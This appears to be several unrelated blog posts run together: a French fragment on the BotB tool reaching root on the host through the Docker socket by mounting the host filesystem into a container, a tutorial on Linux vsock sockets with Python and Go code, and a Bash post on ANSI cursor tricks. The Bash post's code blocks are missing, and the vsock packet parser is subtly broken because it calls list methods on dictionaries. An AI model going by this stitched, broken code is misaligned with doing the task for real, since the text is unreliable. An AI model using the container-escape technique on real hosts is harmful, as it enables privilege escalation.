Ce que fait BotB est simple, il installe docker via les sources officielles, et ensuite en utilisant le socket docker présent sur l’hôte il créer un container en lui montant le FS de l’hôte comme volume sur le nouveau container crée.

Voici le bout de code dans BotB qui permet de gérér le pwn : https://github.com/brompwnie/botb/blob/74ec7f0cac5da365176d2f9f4fb41beb97b97963/utils.go#L472

J’ai une story medium qui arrive sur le sujet !

Voilà Root sur l’host.

Vsock is a Linux socket family designed to allow communication between a VM and its hypervisor.

This new socket family enables bi-directional, many-to-one, communication between a hypervisor and its virtual machines.

Added by VMware directly in the kernel :

VSOCK: Introduce VM Sockets · torvalds/linux@d021c34

It can also be used in QEMU/KVM aswell as HyperV but the code is close source.

User level applications both in a virtual machine and on the host can use the VM Sockets API, which facilitates fast and efficient communication between guest virtual machines and their host. A socket address family, designed to be compatible with UDP and TCP at the interface level, is provided.

The VM Sockets module supports both connection-oriented stream sockets like TCP, and connectionless datagram sockets like UDP. The VM sockets protocol family is defined as “AF_VSOCK” and the socket operations split for SOCK_DGRAM and SOCK_STREAM.

Because VM sockets do not rely on the host’s networking stack at all, it is possible to configure VMs entirely without networking: only allowing communication using VM sockets.

The host and each VM have a 32 bit CID (Context IDentifier) and may connect or bind to a 32 bit port number. Ports < 1024 are privileged ports.

VM sockets addresses

Context IDentifier are store in the /dev/vsock file.

An application uses <CID>:<port> as socket address.

The CID is simillar to an IP address and is represented by a integer 32 bits :

VSOCK: Introduce VM Sockets · torvalds/linux@d021c34

It identifies either an hypervisor or a virtual machine. Several addresses are reserved, including 0, 1, and the maximum value for a 32-bit integer: 0xffffffff

Each VM must have a unique CID.

Hypervisor is always assigned to 2 and virtual machines can go from 3 to 0xffffffff - 1.

/* Use this as the destination CID in an address when referring to the
 * hypervisor.  VMCI relies on it being 0, but this would be useful for other
 * transports too.
 */


#define VMADDR_CID_HYPERVISOR 0

/* This CID is specific to VMCI and can be considered reserved (even VMCI
 * doesn't use it anymore, it's a legacy value from an older release).
 */

#define VMADDR_CID_RESERVED 1

/* Use this as the destination CID in an address when referring to the host
 * (any process other than the hypervisor).  VMCI relies on it being 2, but
 * this would be useful for other transports too.
 */

#define VMADDR_CID_HOST 2

In [1]: import socket                                              
In [2]: socket.VMADDR_CID_HOST                                     
Out[2]: 2

Port aswell is anologous to a TCP port and is represented by a int32

void vsock_addr_init(struct sockaddr_vm *addr, u32 cid, u32 port)
{
	memset(addr, 0, sizeof(*addr));
	addr->svm_family = AF_VSOCK;
	addr->svm_cid = cid;
	addr->svm_port = port;
}

As with IP ports, ports in the range 0-1023 are considered “privileged”, and only root or a user with CAP_NET_ADMIN may bind to these ports.

VSOCK: Introduce VM Sockets · torvalds/linux@d021c34

By default CID and port can be randomly generated by the kernel

/* The vSocket equivalent of INADDR_ANY.  This works for the svm_cid field of
 * sockaddr_vm and indicates the context ID of the current endpoint.
 */

#define VMADDR_CID_ANY -1U

/* Bind to any available port.  Works for the svm_port field of
 * sockaddr_vm.
 */

#define VMADDR_PORT_ANY -1U

Severals application can run on the same host using different port and each port can serve multiple connection concurrently.

To retrieve local CID with go :

package main
import (
  "fmt"
  "os"

  "golang.org/x/sys/unix"
)

// contextID retrieves the local context ID for this system.
var devVsock = "/dev/vsock"

func main(){
  fmt.Println(contextID())
}

func contextID() (uint32, error) {
  f, err := os.Open(devVsock)
  if err != nil {
    return 0, err
  }
  defer f.Close()

  return unix.IoctlGetUint32(int(f.Fd()), unix.IOCTL_VM_SOCKETS_GET_LOCAL_CID)
}

VM socket setup

In order to get vsock up and running we need a fairly recent kernel (> 4.8) both in the Qemu virtual machine and the host and QEMU 2.8+ is required to execute the VM.

Vsock and vhost module needs to be enabled :

➭ lsmod | grep vsock
vhost_vsock                          24576  0
vmw_vsock_virtio_transport_common    32768  1 vhost_vsock
vsock                                36864  2 vmw_vsock_virtio_transport_common,vhost_vsock
vhost                                49152  2 vhost_vsock,vhost_net

➭ file /dev/vsock
/dev/vsock: character special (10/59)
➭ file /dev/vhost-vsock
/dev/vhost-vsock: character special (10/241)

Qemu Virtual Machine creation

First we need to create an hard blank disk image :

qemu-img create debian.img 2G

Then we need to boot the .iso we want :

qemu-system-x86_64 -hda debian.img -cdrom debian-testing-amd64-netinst.iso -boot d -m 512

This will open the debian installer.

After the installation is done, the system can be booted with:

qemu-system-x86_64 -hda debian.img -m 512 -enable-kvm -device vhost-vsock-pci,id=vhost-vsock-pci0,guest-cid=123

This will run a debian VM with a vsock device and a CID of 123.

The device vhost-vsock-pci is attached to the VM and enable the communication with the host. Once you haved started the VM you should have a vsock device available.

Note : Only a single vsock device is allowed on a Virtual machine : the virtio-vsock guest drivers do not support multiple instances : https://bugzilla.redhat.com/show_bug.cgi?id=1455015

Send and receive vsock packets

With a Qemu virtual machine you can send vsoc after enabling the vsock device.

The communication is set up logically with programming langage :

Python

Hypervisor — receive.py

#!/usr/bin/env python3

import socket

CID = socket.VMADDR_CID_HOST
PORT = 9999

s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)
s.bind((CID, PORT))
s.listen()
(conn, (remote_cid, remote_port)) = s.accept()

print(f"Connection opened by cid={remote_cid} port={remote_port}")

while True:
    buf = conn.recv(64)
    if not buf:
        break

    print(f"Received bytes: {buf}")

Virtual Machine — send.py

#!/usr/bin/env python3

import socket

CID = socket.VMADDR_CID_HOST
PORT = 9999

s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)
s.connect((CID, PORT))
s.sendall(b"Hello, world!")
s.close()

Host output :

Output: 
Connection opened by cid=123 port=2131488197
Received bytes: b'Hello, world!'

When we started the VM we set the CID to 123 and we can retrieve this information on the hypervisor.

Monitor vsock packets

Thanks to some Googlers we have some tools to monitor vsock communication.

First we need to setup a vsockmon type link :

ip link add type vsockmon
ip link set vsockmon0 up

The vsockmon link type is from the vsockmon module :

You can build a custom tcpdump binary with the vsock filter or use wireshark.

wireshark -k -i vsockmon0

Parser vsock

https://www.tcpdump.org/linktypes/LINKTYPE_VSOCK.html

import socket,sys,select,json                                                                                                [20/240]
import struct                    
                                                                                                                                     
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3))
s.bind(("vsockmon0",3))                                           
                                                                  
operations_type = {                                               
        1:"Connect",                                              
        2:"Disconnect",                                           
        3:"Control",                                                                                                                 
        4:"Payload"                                                                                                                  
}                                                                 
                                                                  
transports_type = {                                               
        1:"1",                                                    
        2:"Virtio"                                                
}                                                                 
                                                                  
socket_field_type = {                                             
        1:"1",                                                    
        2:"Stream"                                                                                                                   
}                                                                                                                                    

operations_vt__type = {
        1:"Conn Request",
        2:"Conn Response",
        3:"Conn Reset",
        4:"Conn Shutdown",
        5:"Data Packet",
        6:"Credit Update",
        7:"Credit Update Request" 
}
def vsock_parser(raw_data):
    vsock = {}
    src_cid,dst_cid, src_port,dst_port,operation, transport_type, transport_length  = struct.unpack('< Q Q L L H H H 2x',raw_data[:32
])
    vsock.extend([src_cid,dst_cid, src_port,dst_port,operations_type[operation],transports_type[transport_type],transport_length])
    data = raw_data[32:]
    vsock["Source CID"] = src_cid 
    vsock["Destination CID"] = dst_cid
    vsock["Source Port"] = src_port
    vsock["Destination Port"] = dst_port
    vsock["Operation"] = operations_type[operation]
    vsock["Transport Type"] = transports_type[transport_type]
    vsock["Transport Length"] = transport_length
    return vsock,data

def virtio_parser(raw_data, length):
    virtio = {}
    src_cid,dst_cid, src_port,dst_port,payload_length,conn_type,operation, flag,buffer_alloc,fwd_count = struct.unpack('< Q Q L L I H
 H I I I',raw_data[:length])
    virtio.extend([src_cid,dst_cid, src_port,dst_port,payload_length,socket_field_type[conn_type],operations_vt__type[operation], fl
ag,buffer_alloc,fwd_count])
    virtio["Payload Length"] = payload_length
    virtio["Type"] = socket_field_type[conn_type]
    virtio["Operation"] = operations_vt__type[operation]
    virtio["Flags"] = flag
    virtio["Buffer Alloc"] = buffer_alloc
    virtio["Receive Counter"] = fwd_count
    data = raw_data[length:]
    if operation == 5:
        payload = struct.unpack(f'< {payload_length}c',data)
        payload_str = [ x.decode('unicode_escape') for x in payload ]
        payload = "".join(payload_str)
        virtio["Payload"] = payload
        virtio.append(payload)
        virtio.append(struct.unpack(f'< {payload_length}c',data)) 
    return virtio

Multi VM transport

There is multiple ways to make VMs communicate with vsock. Either on a nested virtual machine usecase or on a local communcation.

Red Hat came up with a way to do both in Linux v5.6 kernel.

In this example the first guest is using both types of transport such as H2G — Host to Guest — and G2H — Guest to Host — so the hypervisor can send message to the nested guest througth the first one.

Local communication without VMs has been enabled in Linux v5.6. App can reach to each others with the local CID or a local guest CID if G2H is enabled.

Socat multicast : https://github.com/stefano-garzarella/socat-vsock/blob/vsock/doc/socat-multicast.html

Standalone VMs communication

If you want multiple VMs to communication throught vsock without them being nested you’ll need to set up a proxy on your hypervisor.

This exampled is based on a configuration json file holding services information.

#!/usr/bin/python3
import socket, sys, select, json


def create_socket(port):
    CID = socket.VMADDR_CID_HOST
    s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)
    s.bind((socket.VMADDR_CID_ANY, port))
    s.listen()
    return s
def inc(x):
    return x + 1
def main():
    read_list = []
    raddr = []
    laddr = []

    with open("configuration.json","r") as c:
        sd = json.load(c)


    for i in sd:
        for att in i["Services"]:
            read_list.append(create_socket(att["port"]))
    for i in read_list:
        laddr.append(i.getsockname()[0])

    while True:
        read,write,exec = select.select(read_list, [], read_list)
        for so in read:
            if so.getsockname()[0]  not in laddr:
                raddr.append(so)
            if so in raddr:
                conn,(remote_cid,remote_port) = so.accept()
                print(conn)
                print(f"Connection opened by cid={remote_cid} port={conn.getsockname()[1]}")
                payload = conn.recv(1024)
                if not payload:
                    break
                elif payload == "killsrv":
                    conn.close()
                    sys.exit()
                else:
                    for x in sd:
                        for y in x["Services"]:
                            if conn.getsockname()[1] == y["port"]:
                                vm_port = y["port"]
                                vm_cid = x["CID"]
                    s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)
                    s.connect((vm_cid,vm_port))
                    s.sendall(payload)
                    print(f"Payload sent to cid={vm_cid} port={vm_port} and data={payload}")
                    s.close()


if __name__ == "__main__":
        main()

configuration.json :

[
  {
    "CID": 123,
    "Services": [
      {
        "id": 34,
        "name": "Service 1",
        "port": 9999
      }
    ]
  },
  {
    "CID": 456,
    "Services": [
      {
        "id": 35,
        "name": "Service 2",
        "port": 1111
      }
    ]
  },
  {
    "CID": 789,
    "Services": [
      {
        "id": 36,
        "name": "Service 3",
        "port": 2222
      }
    ]
  }
]

Sources

https://terenceli.github.io/技术/2020/04/18/vsock-internals

https://static.sched.com/hosted_files/devconfcz2020a/b1/DevConf.CZ_2020_vsock_v1.1.pdf

https://github.com/torvalds/linux/commit/c0cfa2d8a788fcf45df5bf4070ab2474c88d543a

https://mdlayher.com/blog/linux-vm-sockets-in-go/

https://patchwork.kernel.org/project/netdevbpf/patch/20210505163855.32dad8e7@gandalf.local.home/#24158977

https://av.tib.eu/media/52823

https://lwn.net/Articles/720795/

This is a little trick I used in some script back in college, I was studying computer science and discovering Bash. At that time I did not fully understand how it worked and in this story I’ll try to get to the bottom of it !

Basic Package Installation

Let’s get a standard script to install some packages on a fresh install of your favourite distro.

It is a bit noisy for a non-interactive bash script. From apt-get man page we know there is a -qq option to have a fully silent and non-interactive way to install packages. -qq implies a -y :

Even though we told apt-get to be quiet there are still some unwanted outputs.

This is because apt-get is calling dpkg during the installation. apt-get only downloads the package and its dependencies, verifies it and then tells dpkg to install it (Full explanation here : https://askubuntu.com/a/540943 )

So it seems that we need to make dpkgsilent. We could use a good and trusty redirection > /dev/null and we would still have the errors output on our terminal, but I am looking for a cleaner way to do it.

For some distros (not all sadly) you could use a DPKG option to remove the output :

Find a control character

Now that we are able to install some packes without any fuss around it let’s start to escape some text to make it more friendly.

ANSI escape sequences allow you to move the cursor around the screen at will.

A ANSI escape character is directly supported by your terminal itself and can be used with any programming langage.

In our case our control character will be Escape . From the ASCII Table we can find a Control Code Chart :

In this chart we can find the different forms for the escape character, to confirm this is a right one we can try on our terminal to press Esc in a stdin :

^\ is just a representation of ESCAPE and \e is interpreted as an actual ESCAPE character. So we will be using \e or \033 .

Cursor movement

There are multiples ways to move your cursor around your terminal.

The four basic movements are the following :

In our case it would look like :

The first echo will print foo then we will move our cursor back 3 columns to the left and will print out bar which will replace foo on our terminal.

Applying it to a bash script — Finally some fun !

We have learned how to do some fully silent package installation and we learn how to move our cursor in our terminal let’s write some Bash !

Your shebang is important but that might be a good topic for another story !

First let’s see the result of our script :

As you can see we have used our control character Esc as \e .

First of all, we set up a package list in an array to loop.

We run the package installation in a background jobs so we can get the PID and run a little spinner while the package is being installed.

kill -0 is used to check if the process is still alive. -0 checks if you are able to send a signal to the process but it does not send any.

As for the output, we print the package name with a -n flag to avoid printing a newline after. Then we can run our spinner while resetting the cursor position to erase the previous character.

The same trick is used to print [Done] when the package is installed.

The snippet of code is massively flawed as we do not check whether the package is installed correctly or not. But the goal of the story was to use the control character to move our cursor in a terminal.

There are a lot a movement/colors/graphics available to make your script even cooler. You can check them on this page : https://gist.github.com/fnky/458719343aabd01cfb17a3a4f7296797

That was my first story on Medium, I hope you liked it and include this little trick in your bash script !